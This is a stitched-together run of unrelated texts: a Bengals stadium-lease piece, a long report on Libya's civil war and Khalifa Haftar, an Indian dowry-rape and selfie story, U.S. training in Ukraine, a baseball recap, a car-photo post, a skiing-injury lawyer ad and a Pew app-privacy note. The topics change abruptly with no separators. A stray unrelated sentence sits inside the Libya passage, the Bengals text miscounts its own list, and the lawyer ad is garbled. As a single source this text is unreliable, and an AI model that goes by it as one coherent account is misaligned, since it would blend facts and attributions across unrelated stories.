If the county does not fulfill this portion of the lease, which seems to be their intent, it could lead to the Bengals suing the county for breach of contract.
If that happens, it’s very likely that the Bengals could exit the lease earlier than 2026 and renew their threat of moving to another city. Since Cincinnati is a small-market team in terms of television markets, that threat is always a real possibility, and likely the reason the county caved in with the horrible lease in the first place.
One thing working for the county if it comes to that, are that three markets all added expansion teams since that deal was signed in 1997. Jacksonville, Florida added the Jaguars, Houston, Texas added the Texans, Charlotte, North Carolina added the Panthers, and the Browns 2.0 were revived in Cleveland.
Unfortunately, St Louis and San Diego both recently lost teams to Los Angeles, and Oakland is likely going to lose one to Las Vegas. So there are certainly possible destinations which have an NFL fan-base already in place ready for a team, and are all larger markets than Cincinnati, Ohio.
Other possibilities could include Portland, Oregon, San Antonio, Texas and Sacramento, California, which are also all larger markets than Cincinnati, and could make a pitch for the Bengals.
The NFL has publicly stated its interest in a team in the U.K., so that is always another possibility. Ultimately, with bigger markets available, the Bengals can push the threat of moving if they so choose, which will force the county to cave in or force the Bengals to back up a possible threat of moving.
Hamilton County has tried to engage the Bengals in a renegotiation of the horribly lopsided lease agreement, and understandably, the Bengals have balked at such discussions.
For Haftar, the east was the obvious place to begin his offensive. “Benghazi was the main stronghold of terrorism in Libya, so we started there,” he said. An old Libyan maxim holds that everything of importance happens in Benghazi. In 1937, Benito Mussolini came there to solidify his colonial power. In 1951, the newly crowned King Idris I broadcast a radio address from the city to proclaim Libya independent. When Qaddafi launched his military coup against the monarchy, he was a young officer based in Benghazi. In February, 2011, the uprising against his rule erupted there, and the following month the West intervened there to prevent him from massacring the city’s revolutionaries and its civilian population. The intervention that helped decide the Libyan conflict began tentatively. As Qaddafi moved harshly to put down the rebellion, vowing to “cleanse Libya house by house,” President Obama was reluctant to get involved, and his aides argued about the wisdom of forcing Qaddafi from power. But America’s allies in Europe, particularly the British and the French, were already convinced. In March, 2011, the well-connected French philosopher Bernard-Henri Lévy arrived in the city and took it upon himself to make sure that the rebels got aid. In Paris recently, I asked Lévy why he’d adopted the Libyan cause. “Why? I don’t know!” he said. “Of course, it was human rights, for a massacre to be prevented, and blah blah blah—but I also wanted them to see a Jew defending the liberators against a dictatorship, to show fraternity. I wanted the Muslims to see that a Frenchman—a Westerner and a Jew—could be on their side.” Lévy said that he returned to Paris and told President Nicolas Sarkozy that humanitarian intervention wasn’t enough. “The real objective had to be to topple Qaddafi,” he told me. Sarkozy agreed, and Lévy became his emissary. Lévy accompanied a Libyan opposition leader to meet Secretary of State Hillary Clinton, to lobby for U.S. involvement.* “It was hard to convince the Americans,” he said. “Robert Gates was totally opposed. Obama as usual was hesitating. But Hillary got it.” Late that month, as Qaddafi dispatched a convoy to attack the rebels in Benghazi, French warplanes began bombing. The U.K. and the U.S. followed, in an arm’s-length operation that the Obama Administration described as “leading from behind.” From warships in the Mediterranean, they launched a withering strike of a hundred and twelve Tomahawk missiles, but within days Gates had announced that the French and the British would take the lead. The coalition kept fighting for seven months, with American forces in a lower-profile role. In the end, Lévy was pleased with the intervention. “The NATO mission, as far as I am concerned, was as it had to be.” On September 11, 2012, the country’s history again turned in Benghazi: a mob of extremists set fire to the U.S. consular compound and attacked a nearby annex, killing the Ambassador, Christopher Stevens, and three other Americans. In the United States, a rancorous debate began about the circumstances of Stevens’s death, with Obama’s opponents in Congress assailing him for the lack of security at the compound and accusing him of a coverup. The U.S. wound down its diplomatic presence and essentially abandoned its role in the international efforts to rebuild Libya and foster democracy. “The killing of Chris Stevens had the effect of helping the terrorists acquire greater power,” a senior Administration official told me. “The bad guys were trying to get the West out, and they succeeded. Because of the politicization of that episode in the U.S., the government paused to make sure no one else got hurt, and reduced our geographic scope and presence in the country.” A senior government official said that Stevens’s death had brought a “broader chill” in efforts to influence events in Libya. “We had a pilot training program, for instance,” he said. “Suddenly, we were being accused of supporting terrorism.” For Lévy, the West’s abandonment of Libya was a dismaying moral failure. “Having done what we have done—France, the U.K., and the U.S.—we have a duty to Libya,” he said. “It would be a disaster if Libya does not rebuild itself.”
In a sense, Libya’s unravelling began even as the country achieved its “liberation.” On October 20, 2011, after nine months of fighting, a group of thuwar—battle-hardened militiamen—from the port city of Misrata found Qaddafi hiding in a drainage pipe and killed him on the spot. Afterward, his mutilated body was taken to a cold-storage room and left there for several days as thousands of people came to view it and take pictures. Another group of Misratan militiamen massacred sixty-six of Qaddafi’s last loyalists in the garden of a Sirte hotel, after they videotaped themselves tormenting their captives. It had been clear from the start that the militias were going to be a deeply troublesome feature of post-Qaddafi Libya. The rebel alliance was hastily thrown together from many disparate groups—some friendly to Western ideals and others driven by Islamist dreams of a new caliphate. Even as Western governments deliberated over whether to support the rebels, jihadists from the eastern city of Derna emerged as a force on the battlefield. In an ugly episode in July, 2011, the rebel coalition’s military commander, General Abdel Fattah Younes, was abducted and murdered, likely by Islamists seeking revenge for Younes’s persecution of them when he was Qaddafi’s interior minister. As Qaddafi fled Tripoli, in late August, the city was swarmed by two militia forces: one from the western city of Zintan and the other from Misrata. The two groups had been allied in the effort to oust Qaddafi, but as they raced to occupy key positions in Tripoli a rivalry began. The militias ransacked Qaddafi’s well-stocked armories, and the Misratans made off with hundreds of Russian-made tanks. The Zintanis took over the international airport. Several other armed Islamist groups also seized positions for themselves. The profusion of young men with guns alarmed Rory Stewart, a British M.P. who had come to Libya to gather information for Parliament. I was in Libya at the time, and Stewart joined me for a couple of days in Tripoli; after one confrontation with armed men at a roadblock, he asked, “What I want to know is, who is going to disarm these militias?” More important, he wondered, who was going to put Libya back together again, and create jobs for all the armed young men? Stewart returned in March of 2012, and noted that NATO was doing little to help. “There was a single British policeman assigned to the Ministry of the Interior—and that was the U.K.’s disarmament-and-demobilization program!” he said. “There were those in the Libyan parliament who were asking, ‘Where’s the post-intervention plan?,’ but my own instinct at the time was that we’d been burned very badly by nation-building in Iraq.” The Western powers seemed to be placing their hopes in a less committed program. Stewart told me, “You get a U.N. resolution for humanitarian intervention, you get rid of Qaddafi, you don’t put boots on the ground, you get regional players like Turkey and Qatar to sign generous checks, and you step back. You imagine that it’ll be tricky, but no one could imagine it would be this bad.”
As the country tried to rebuild itself, there were some reasons for hope. In July, 2012, Libyans voted for the first time in six decades, electing a national assembly called the General National Congress. A loose consortium of liberal and centrist parties outpolled candidates affiliated with the Muslim Brotherhood, which had surged after Qaddafi was deposed; the new Prime Minister, Ali Zeidan, was a human-rights lawyer. But the elections did little to diminish the influence of the militias. Indeed, Libya’s tens of thousands of thuwar became increasingly powerful: rather than finding the fighters jobs and forcing them to disarm, the government put them on the state payroll. Frederic Wehrey, a Libya analyst at the Carnegie Endowment for International Peace, told me, “Probably only about a third of the militiamen actually fought in the war. The problem is that when the government started funding them it created more and more of them. No records were ever kept, so people were double- and triple-dipping.” Westerners started to come under attack with troubling frequency. In January, 2013, gunmen in Benghazi fired on an Italian diplomat’s car, but he emerged unharmed. In April, a car bomb, claimed by Al Qaeda in the Islamic Maghreb, severely damaged the French Embassy in Tripoli. Although the Islamists had lost at the polls, they found a way to assert political power. In May, they urged the G.N.C. to pass a law banning virtually everyone who had participated in Qaddafi’s government from holding public office. During the vote, armed militiamen stormed government ministries to demand the law’s passage. The immediate effect was to neutralize several of the Islamists’ key rivals, mostly political moderates and technocrats who had served at the end of Qaddafi’s reign. The speaker of the G.N.C. was obliged to resign. In December, 2013, the G.N.C. endorsed Sharia law as the source of all legislation and voted to extend its mandate for an additional year. Haftar watched the country’s decline with growing anger. On February 14th, he appeared on television to announce the unilateral dissolution of parliament and the creation of a “Presidential committee” and cabinet, which would govern until new elections could be held. His move had the hallmarks of a coup, yet Haftar had no apparent way to enforce it, and he was publicly taunted for his hubris. Prime Minister Zeidan called the attempt “ridiculous.” But Haftar had a strategy. He had embarked on a series of “town hall” meetings around the country, while he secretly built an army, with the support of old comrades from the military. In May, he launched Operation Dignity, with attacks against Islamist militias in Benghazi, which he said were intended to “eliminate extremist terrorist groups” in Libya. Not long afterward, his forces occupied the parliament building in Tripoli. Haftar’s offensive resonated with many Libyans, who had grown frustrated with the G.N.C. and the violence that had flourished during its rule. At around the same time, the G.N.C. agreed to convene a new legislative body, the House of Representatives. The Islamists performed poorly in the elections, in June, but, before the new parliament could take office, the Islamists, strengthened by militiamen from Misrata, attacked Tripoli’s international airport, in an attempt to seize it from Haftar. The airport, including one and a half billion dollars’ worth of aircraft, was destroyed, and about a hundred fighters were killed. With Tripoli a battlefield, the U.S. pulled out of Libya entirely, moving its Embassy to Malta, separated from the besieged capital by two hundred miles of water.
Libyans gradually learned to navigate the violence. A young Tripoli businessman who asked to be called Mohamed told me of getting a call last July, telling him that two militias were fighting on the road to the airport. “The morning it started, my partner tried to drive to our office and got turned back,” he said. Mohamed headed to the office anyway; their employees’ payroll money was held in a safe there, and he wanted to retrieve it before it was destroyed or looted. “There were literally bullets flying right overhead,” he said. He managed to get the money and leave the city, negotiating the militia roadblocks using a credential that a highly placed friend had given him. “All along the airport road, there were no-go zones, with separate battles going on, and both sides ransacking people’s houses.” With the fighting in Tripoli, two opposing armies took shape. The group aligned against Haftar, Libya Dawn, is an uneasy coalition; it includes former Al Qaeda jihadists who fought against Qaddafi in the nineties, Berber ethnic militias, members of Libya’s branch of the Muslim Brotherhood, and a network of conservative merchants from Misrata, whose fighters make up the largest block of Libya Dawn’s forces. Haftar’s army is composed mainly of Qaddafi-era soldiers and federalists seeking greater autonomy for the eastern region of Cyrenaica, mixed with tribal fighters from the west and the south. Last August, Libya Dawn took control of Tripoli, effectively dividing the country into east and west. The Islamists who had lost power in the newly created House of Representatives insisted that the G.N.C. was the country’s only legitimate government. With the country increasingly unstable, the H.O.R. established itself in the city of Tobruk, eight hundred miles to the east. There the members proclaimed themselves Libya’s “true government”—even as they retreated for a time to a Greek car ferry moored offshore. The U.N. and most of the international community recognize the H.O.R., but Libya’s Supreme Court ruled that the G.N.C. was the national legislature. Effectively, the Libyan state has collapsed, replaced by a series of warring city-states. As the standoff worsens, regional powers have stepped in. Haftar’s army reportedly receives weapons and financing from Egypt, led by the vehemently anti-Islamist General Sisi; from Saudi Arabia; and from the United Arab Emirates. (The Emiratis and the Egyptians have gone so far as to covertly bomb targets on Haftar’s behalf, eliciting an unusual public rebuke by the U.S. government.) Libya Dawn is backed by Qatar and Turkey, which support the Muslim Brotherhood. Their involvement has given the conflict the dimensions of a proxy war. The regional implications of Libya’s breakdown are vast. The southern desert offers unguarded crossings into Algeria, Niger, Chad, and Sudan, where armed bands—including human traffickers and jihadists from Al Qaeda in the Islamic Maghreb—roam freely in four-wheel-drive convoys. Huge numbers of migrants, mostly Africans but also some Middle Easterners, are being smuggled through Libya. At the Mediterranean coast, they are placed in overcrowded boats and pointed toward Italy, where the fortunate ones are picked up by the coast guard or by passing cargo ships. Last year, the number of migrants reaching Italy in this fashion rose to a hundred and seventy thousand; more than three thousand are believed to have drowned at sea. In early February, another three hundred died.
Libya has long been an isolated and constricted place, and the revolution has done little to change that. Since July, Tripoli’s only functioning airport has been Mitiga, a former U.S. airbase that Qaddafi took over in 1970. Then Haftar’s bombers struck Mitiga, and for a time there were no flights there, either. “Remember when, on the Internet, nobody knew who you were?” Many of the young Libyans I met during the revolution are now in Tunisia, Egypt, Bulgaria, London—anywhere but Libya. The exiles who came back to build a new country have largely left. The people who have remained are those who can’t get out, and they mostly stay close to home. In any case, there’s little to do. Many shops are closed during the day, opening for a few hours after evening prayers; there are no women to be seen on the streets. There are sporadic bursts of gunfire and explosions, and it is impossible to tell whether someone is being shot or someone is cleaning a gun on a rooftop. Nobody asks; Libyans have become inured to war, and, in any case, decades of secret-police surveillance have conditioned them not to inquire into the causes of violence. Despite Qaddafi’s taste for grandiose gestures, modern Libya has never valued aesthetic beauty. New homes are built out of cement block and left unpainted; trash is dumped in the streets. The revolutionaries bulldozed Qaddafi’s palace and smashed many icons of his regime, and extremists are despoiling the rest. In Tripoli, there was a statue of a bare-breasted woman nuzzling a gazelle; extremists blew a hole through her belly and hauled the statue away. At the Greco-Roman ruins of Cyrene, almost all the statues of gods have been disfigured. Under a line of vandalized bas-reliefs, I saw a spray-painted message in Arabic script: “Destroy the stone idols, no to restoration.” The Muslim Brotherhood and the Misratan leaders have spoken out against jihadist atrocities, but a significant and growing extremist element remains active on the battlefield. In Benghazi, where Haftar’s soldiers have been fighting Islamist groups for control, the combat has caused widespread destruction and a steady stream of casualties. Haftar claims to hold most of the city, though he says that snipers have slowed his advance. The main enemy is Ansar al-Sharia, the group implicated in Stevens’s death and widely suspected of leading the assassination campaign that devastated civil society in Benghazi. In late January, Mohamed al-Zahawi, the leader of Ansar, died from wounds suffered in battle, but his forces have kept fighting. After Qaddafi’s overthrow, hundreds of fighters from Derna, a city long associated with Islamist extremism, travelled to Syria to join the war against President Bashar al-Assad. Many fought alongside Jabhat al-Nusra, the Syrian affiliate of Al Qaeda, and some joined ISIS. In recent months, a sizable number have reportedly returned home in order to fight against Haftar’s forces. In October, a Derna-based jihadist group declared its allegiance to ISIS, and, a few months later, another ISIS unit claimed responsibility for the execution of a dozen Libyan soldiers. In an audacious daylight assault in late January, a third group of ISIS gunmen raided the Corinthia, a five-star hotel in downtown Tripoli, killing at least eight people. A few weeks later, ISIS took over a village near the coastal town of Bin Jawad. Haftar says that he intends to take on Derna’s extremists once he has conquered Benghazi. “We will use all the means at our disposal to exterminate them,” he assured me. Haftar possesses a small air force—an advantage he holds over Libya Dawn, which has only one or two aircraft—and every few days his fleet of vintage MIGs carries out bombing sorties over Benghazi, or, farther afield, in Ajdabiya, Misrata, Sirte, and Tripoli. Haftar said that he planned to bring the war to Tripoli, and to Misrata, but dismissed the possibility of widespread carnage. “Tripoli will be overrun quickly, because the people will rise up, and we have forces inside the city,” he said. “What about dialogue?” I asked. “There will be no dialogue with terrorism,” Haftar replied. “The only thing to say about terrorism is that we will fight it until it’s defeated, and we have purified the country.”
In Washington, Haftar’s absolutist tactics have caused discomfort. The senior Administration official told me emphatically, “The U.S. government has nothing to do with General Khalifa Haftar. Haftar is killing people, and he says he is targeting terrorists, but his definition is way too broad. Haftar is a vigilante. And the predictable result of his vigilantism is to unite the others”—giving common cause to extremists and non-extremists within Libya Dawn. “It is almost as if one part of Libya were controlled by White Russians—that’s Haftar—and another part were controlled by Bolsheviks.” Benjamin Rhodes, the deputy national-security adviser and a close confidant of Obama’s, acknowledged that Libya’s situation was grim. “Getting the technocrats and the guys with the guns on the same page has been very difficult,” he said. “The first task is to get them in conversation where they can receive help from us. We’re doing this through a U.N. initiative, plus some quiet diplomacy behind the scenes.” He noted that there has also been occasional military action. Last June, Delta Force operatives abducted Ahmed Abu Khattala, an Ansar member who is suspected of leading the attack that killed Ambassador Stevens. Khattala is now awaiting trial in the U.S. “The trick is for us to help people get back to the point where the Libyans can achieve what their revolution was about in the first place,” Rhodes said. “But it’s probably not going to happen on Washington’s timeline.” Rhodes was one of the aides who, along with Clinton, Susan Rice, and Samantha Power, helped persuade Obama to join the intervention. In spite of the chaos that followed, he stands by that decision. “We saved a lot of lives in Benghazi and the rest of the country,” he said. “If Qaddafi had gone into Benghazi, I think Libya would look more like Syria today.” He added, “What did we do wrong? Even the President would acknowledge that it’s been extremely difficult to fill the vacuum in Libya. We were keen for the Libyans to take the lead. Everyone knows the dangers of a completely U.S.-owned postwar environment. We might have used a heavier hand, but there’s no guarantee it would have made a difference.” Other officials were more blunt about the limits of the intervention. The senior Administration official believed that three failures had led to the fiasco in Libya: “The lack of a single national-security apparatus, replaced by militias; a real terrorist problem, which was small but has gotten much worse; and a proliferation of arms. How does the world respond to all this? The U.N. gets a mandate, goes there, and finds out there’s no one to work with—the ministries are Potemkin. The I.M.F. goes in, says what’s wrong, and doesn’t do much about it. The World Bank hardly does anything. Vast numbers of people came to Libya to look for contracts, but nobody got any money, so they went away. NATO tried to design a national-defense system, but the Libyans failed to engage with them. The French were going to train three thousand police. Instead, they trained thirty. Then some cadets were sent to Jordan for training, but the Jordanians kicked them out after they burned down a sports facility, because they were angry about a flight delay.” In November, the official noted, three hundred Libyan soldiers being trained in the U.K. were expelled after half a dozen of them ran amok in an English village, sexually assaulting several women and raping a man. “The Libyans defeated everyone,” he said. “It didn’t matter whether you were Gandhi or Stalin. It didn’t matter how hard we tried, they defeated us all.” When I asked the official to explain the current U.S. policy toward Libya, he said, “It’s a sensible one: a ceasefire, an inclusive government, no way forward but political.” He detailed the way a ceasefire might play out. “Will this work?” he asked. “Maybe, maybe not. But what I am telling you is that it is the best policy the U.S. and other Western powers can come up with.” I spent two weeks in Libya, crossing it from east to west, and the only other Westerners I encountered were a few British security consultants and two German journalists. Everywhere I went, Libyans stared at me. Occasionally, young men asked where I was from. When I said that I was American, some joked about jihadists and the possibility of my being abducted and beheaded. At the entrance to the town of Sousa, near Derna, officials admonished my Libyan companions for bringing a Westerner there, asking, “What if something happens to him?”
Unlike many other cities and towns in Libya, Tripoli presented an image of normality. Traffic flowed, and groups of young men wearing Italian sportswear hung out drinking coffee from paper cups. Here and there, at government ministry compounds, I saw groups of bearded men with guns, but none of the tanks and battlewagons that had traversed the capital after Qaddafi’s fall. Yet Tripoli’s air of calm belied an underlying tension that was evident as soon as I came into contact with the men who were running things. Just as Haftar insists, improbably, that all his opponents are terrorists, the leaders of Libya Dawn insist that there isn’t a single extremist in their ranks. Jamal Zubia, the director of the foreign-media department, assured me that, until Haftar began attacking, Ansar al-Sharia was closer to a mutual-aid society than to a terrorist organization. A large, white-bearded man who returned to Libya after sixteen years in England, Zubia speaks excellent English, with a Manchester accent. “If you ask the people of Benghazi about Ansar al-Sharia, they will tell you it always does charity, it secures the hospitals, the roads,” he said. “If they want a place to be secure, they will ask Ansar al-Sharia to be there.” Zubia compared the allegations that Ansar had committed terrorist acts with the Algerian military’s efforts to prevent Islamists from coming to power in the early nineteen-nineties. The Algerian intelligence services had framed the Islamists, he said: “They imported a container of beards to put on and go kill people and then said they were Islamists.” He added, “This is true. You can’t deny it. It’s on YouTube.” Zubia said, “If Haftar says he wants to fight terrorism, logic says he should go to Derna, not Benghazi. In Benghazi, they have never belonged to Al Qaeda, while in Derna, anyway, there are fifty people who say they are with ISIS.” Zubia wore a derisory expression. “As for the hundreds of people Haftar says were killed in Benghazi, where is the proof? You will find that Haftar is responsible for all those killings.” Until 2005, he claimed, Haftar’s family had received an annual stipend of two hundred thousand dollars from Qaddafi—“You can go on YouTube.” (Haftar has acknowledged that, as a former P.O.W., he got a stipend from Qaddafi, but says that it ended in 1993.) More recently, Zubia said, Haftar had “come to Tripoli and tried to form a militia, but failed.” And, he added, one of Haftar’s sons had been wounded trying to rob a bank. (In fact, Haftar’s son Saddam was shot by Zintani militiamen outside a bank.) Zubia described Haftar and his family as a kind of criminal enterprise. “I ask you to use your intelligence,” he said. Indisputable information is difficult to come by in Libya. Everyone feverishly monitors Web sites where pictures are posted and things proclaimed and discussed, but most of what passes for news is political propaganda, pure and simple. Dignity has a TV station, which broadcasts footage of Haftar on inspection tours of the Benghazi battlefield, set to martial music, along with gruesome clips showing the victims of the other side’s violence. Libya Dawn has a similar channel, presenting the opposite view of the conflict. Each side discounts the other’s reporting, and, in the absence of news, outrageous gossip is quickly accepted as fact. In a meeting near Benghazi, an economist soberly relayed to me the preposterous claim that Bernard-Henri Lévy had been paid forty million dollars to lobby for the Muslim Brotherhood’s interests in Libya. Many of Haftar’s supporters in eastern Libya believe that the Muslim Brotherhood is engaged in an international conspiracy, backed by the U.S., to take over the Middle East; when I asked for evidence, the answers tended to start with Obama’s June, 2009, speech in Cairo, in which he announced a “new beginning” for relations between America and the Muslim world. Haftar, in his office, speculated that this was the real reason that the U.S. was not supporting him. “Maybe it’s because of the Muslim Brotherhood,” he said. “They have a lot of clout, and a factory for producing lies.”
Perhaps the only point of agreement between Dignity and Libya Dawn is the primacy of oil in the country’s future. As the two sides have struggled for control of oil fields, production has plunged, from 1.6 million barrels per day to barely three hundred thousand. A couple of days before I met Haftar, his jets had bombed an armored column from Misrata as it advanced on facilities held by his proxies, and he described the advance as a kind of moral affront. “You will hear of our response in a few days,” he promised. Two weeks later, his MIGs carried out air strikes against Misrata’s airport. Of the Misratans, he added, “If they do anything more than they have already done, they will pay a heavy price.” At a press conference in Tripoli, General Obeidi, Libya Dawn’s chief of staff, spoke of his troops’ efforts to “recover the oil fields” from Haftar’s forces. “We are the state,” he said. “It’s our duty to retake the fields from these bandits.” Afterward, I spoke with General Mohamed al-Ashtar, a high-ranking Libya Dawn commander, who told me that his men were advancing on the oil terminal of Ras Lanuf when they were hit by Haftar’s jets. In order to avoid damage to the facilities, he claimed, he had ordered his troops to withdraw, but now they had Haftar’s men surrounded. “We are waiting for them to answer our conditions so they can withdraw and hand over the facilities,” he said. In the following weeks, according to the analyst Frederic Wehrey, the fight devolved into a stalemate: “fixed lines of static warfare, with both sides lobbing rockets.” As the fighting goes on, the country’s remaining oil money flows through the central bank, where it is disbursed without discrimination to militias and criminal gangs on both sides. When I asked Ashtar how Libya’s conflict would end, he suggested that there was no choice but total victory. “There is no chance the country will split,” he said. “The country is one.” “What about Haftar?” I asked. “He will suffer the same fate as Qaddafi.” Ashtar smiled, and so did his men.
Local news sources reported on Monday that a 30-year-old Indian woman was gang-raped by her husband, Jagannath, and his two brothers after her family could not fulfill her dowry. The men also allegedly tattooed expletives on her forehead and hand. According to India Today, the alleged rape was a culmination of ongoing attacks. Police told the publication that, since her marriage in January 2015, the woman claims her husband and in-laws would physically assault her, demanding a dowry of 51,000 Rupees, or $755.
However, among mainstream publications, the "controversy" surrounding the brutal rape focuses instead on a selfie that an Indian official took with the alleged rape victim on Tuesday, when members of the Rajasthan Commission for Women met with the woman at the police station. Someone took a photo of the selfie being taken—in which a commission member, Somya Gurjar, is seen smiling with the alleged rape victim and the chairperson of the commission, Suman Sharma—and it went viral on the messaging service WhatsApp, according to the Huffington Post.
Read more: What It's Really Like to Live in the Rape Capital of India
Sharma told the publication that she was not aware that selfies were being taken as she was talking to the survivor. According to the BBC, Gurjar, the member of the commission who took the selfie, resigned today, though she defended her actions.
"Gurjar said the victim was 'curious' about the camera and that the selfie was an attempt to 'relax and normalize' her," the BCC reports.
"She said take my photo also. I only took her photo to put her at ease and because she asked for it. I was trying to be humane with her," Gurjar explained.
The publication mentions the wave of outrage following the selfie on social media, but there are some who are also concerned that the selfie incident is overshadowing justice for the victim. "The media seems to have got stuck on the selfie, and there doesn't seem to be much reportage of what, if any, action is being taken against those responsible for the rape itself or the tattooing," Nandita Saikia, a media and technology lawyer who lives in New Delhi, told Broadly.
The U.S. training mission was announced last summer, and its implementation — originally expected in March — was delayed after negotiations in Minsk, Belarus in February led to a cease-fire deal that still officially holds between Ukrainian forces and Russian-backed separatists.
Despite that cease-fire, violence has continued from each side, albeit at a slightly diminished rate. The U.N. Human Rights Commissioner said Friday that 6,116 people have been killed in Ukraine’s year of fighting.
The Ukrainian National Guard has taken on an increasingly important role in the war over the course of the past year. The Ukrainian government, facing major economic woes and aware of the outdated and under-funded status of its regular forces, has relied on the guardsmen, many of whom were previously serving in all-volunteer units.
Some the guardsmen are currently playing a major role in holding the town of Shyrokyne, which lies on the eastern front of Ukrainian-controlled territory, just east of the strategically important port city of Mariupol.
Writing in the New York Review of Books, noted Eastern Europe analyst Tim Judah said, “The test of whether the conflict has reached a stalemate will come at Mariupol.”
If pro-Russian rebels were to capture Mauripol, as many Ukrainians fear they may try, the separatists would gain a land corridor between Russia and Crimea, which Russia annexed last year.
But the role of Ukrainian militia groups, which together form part of the National Guard, has been the source of some controversy. One of the most battle-hardened groups fighting to defend Ukraine’s east is called the Azov Battalion, a faction which displays Nazi insignia on its banners and whose members include neo-Nazis.
During the course of the conflict, Russia has continually used the specter of groups like these as a pretext for its defense of ethnic Russians it says are under attack in Ukraine.
The Russian foreign ministry referred to the 900 guardsmen the U.S. would be training as "ultranationalists ... who stained themselves with the blood of women, children and the elderly during their punitive operations."
In an email to Al Jazeera, U.S Embassy spokesperson James Hallock said the U.S. training would not include members of the Azov Battalion, and the State Department said Friday that the mission would have a vetting process for any forces it trains.
Moscow, which accuses the United States of meddling in Ukraine — a place many Russians are seen as considering their country’s back yard — reacted bitterly to the arrival of U.S. troops.
Dmitry Peskov, spokesman for Russian President Vladimir Putin, said, "The participation of instructors and specialists from a third country on the territory of Ukraine, where an unresolved intra-Ukrainian conflict remains, where problems persist in carrying out the Minsk agreement, is far from helping resolve the conflict.”
“To the contrary, it enables destabilizing the situation,” Peskov said.
For now, part of the Obama administration’s calculus may be to try and drive up the costs of Moscow’s support of pro-Russian separatists in the conflict, while still claiming that U.S. actions do not represent a drastic policy shift.
This seemed to be implied in State Department spokeswoman Marie Harf’s answer to a question on Friday about the U.S. training mission, which is being jointly conducted with the Department of Defense.
“We’ve been doing this with Ukraine, I think, for about the last 20 years in some form or fashion, so this isn’t new,” Harf said. But when pressed about whether the training was different this time around, she added, “Obviously, there’s the reality of the situation in eastern Ukraine. So this is part of our ongoing effort, but of course, we’re all aware of the situation there.”
The Obama administration has thus far rebuffed calls to directly provide arms to Ukraine — something many in Congress have urged, as have many former Obama administration officials. The president and some of his advisers fear a military escalation in the conflict could provoke an aggressive response from Russia, which has shown its willingness to pursue military actions in Ukraine despite a very weak economy at home.
In the meantime, forces on the ground in Ukraine remain far apart in their demands and what they might be able to achieve.
“On the Ukrainian side the maximum and, for now, unattainable objective is to re-conquer the lost eastern territories,” Judah wrote. “What is far more realistic, though, is for Ukraine to hold the line to prevent further losses, while over the next few years its armed forces are transformed into a far more formidable fighting force.”
That is likely a scenario that the Obama administration is trying to support.
But from the pro-Russian rebel perspective, even as their military campaign has stalled of late, there are no signs of their leaders dampening their maximalist, separatist aims.
On Saturday, a separatist leader with the self-proclaimed Donetsk People’s Republic in the heart of rebel-held eastern Ukraine told the BBC that the Minsk cease-fire risked falling apart should Ukraine not accept independence for separatist territory in the country's east — something that Kiev considers a non-starter.
“The Minsk truce will not end confrontation, but rather recognize it,” Dmitri Trenin, director of the Carnegie Moscow Center, wrote in the The National Interest, an international affairs periodical, at the time of February’s cease-fire.
Two months on, that situation remains largely the same — a fact that some 300 U.S. troops are unlikely to change in the near term.
Every member of the starting lineup reached base at least once, as the Threshers matched season-highs with 14 runs on 15 hits to even up the series at a game a piece.
Canelo finished 2-for-3, including a triple, four runs, three RBI, and two walks. Zach Green and Andrew Pullin each had three hits, while Derek Campbell reached four times on a pair of hits and two walks.
Clearwater (38-29) wasted no time in attacking Lakeland starting pitcher Jairo Labourt (4-6).
A one-out error on third baseman Zac Shepherd allowed Scott Kingery to reach, and Pullin followed with a single through the right side to extend his hit streak to 15 consecutive games.
Zach Green then delivered an RBI single to left-center to plate Kingery with the night's first run. Kyle Martin sent a sinking liner into left, on which right fielder Ariel Serrano made a diving grab, and Pullin tagged and scored with the sac fly to make it 2-0.
The Threshers doubled that total in the second when Samuel Hiciano ripped a two-run double to right.
Up 4-0, Clearwater was far from finished.
With Green at first and two down in the third, Malquin Canelo drove a triple to the warning track in right-center to make it 5-0. Campbell followed by shooting a single through the left side to bring Canelo home. After back-to-back walks to Hiciano and Carlos Tocci loaded the bases, Kingery stung a double down the third base line to score Clearwater's seventh and eighth runs.
That was more than enough for Watson (2-3) who limited the Flying Tigers to four hits across six shutout innings. He walked three and collected six strikeouts in the win.
Endrys Briceno entered for Lakeland (34-33) in relief of Labourt and finished off the third inning, but Canelo made him pay for a pair of walks by chopping a single up the middle to plate two more runs and expand the Threshers lead to 10-0 in the fourth. Tocci later brought Canelo in as well, grounding a single up the middle.
After another run crossed on a double play ball in the sixth, the Threshers capped the scoring against reliever Joe Rogers in the eighth inning.
Pullin struck again, knocking a two-run double up the first base line to settle the score at 14-0.
Here at Petrolicious, we spend a lot of time looking through photos of cars on the internet, in books, and in magazines. In these photos, it is very common to see people posing in front of their prized automotive possessions.
Posing for pictures with cars is something every car enthusiast has done at one time or another, but for some reason we seem to come across an outstanding number of images wherein individuals lay on, sprawl across, stand on, or pose in otherwise completely awkward positions in relation to their vehicles.
We assume that most of the pictures below were part of larger photo shoots, but we have to wonder why some photographers insist on positioning individuals in the most unnatural and un-carlike ways? Here are some of the best awkward car photos we have come across recently.
Which photo is your favorite?
Photo Sources (starting from top left): 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
The death of Natasha Richardson has proved that the skiing can sometime be very dangerous. A lot of people get hurt in skiing accidents in Canada but sometimes they do not consult with the experienced lawyer to see if you can file for a compensation claim. Therefore, it is important that people should know the legal rights for the victims of skiing accidents. A lot of people think that buying the insurance for the skiing accident is enough. This is not true, as in case the skiing accident occurs aboard where there is no insurance coverage then hiring a Personal Injury Lawyer in Ontario will be the best choice.
The personal injury lawyer will have a network of medical practitioners and rehabilitation centers and he will immediately refer upon for a medical checkup. On the other hand, the lawyer will also take care of all the legalities associated with attaining insurance coverage. If there has been any serious injuries and the medical cost are very high, the insurance company would refuse to provide coverage for the expenses and you would be stranded and left alone to pay for your own medical bills.
In case the skiing accident occurred due to someone else’s negligence, the lawyer will file a lawsuit against the individual. Therefore, they end up in accidents that may have many serious consequences. Even though the individual may not feel any pain at the time of the accident, but it is only after a medical examination, that the doctors will be able to ascertain if there have been any serious internal concussions. The personal injury lawyer will make sure that you get justice and adequate compensation so that you are to pay for your medical bills as well as other expenses for all kinds of medical and emotional trauma
The Pew Internet Project survey found that 54 per cent of mobile users who download apps have decided to not install a smartphone app when they discovered how much personal information they would need to share in order to use it.
Additionally, 30 per cent of app users have uninstalled an app that was already on their phone because they learned it was collecting personal information that they did not want to share.
The survey comes amid growing concern among US lawmakers and civil liberties groups that personal information may be collected by phones and other mobile devices, often without their knowledge.
The Pew survey found that owners of both Android and iPhone devices are also equally likely to delete or avoid apps due to concerns over their personal information.
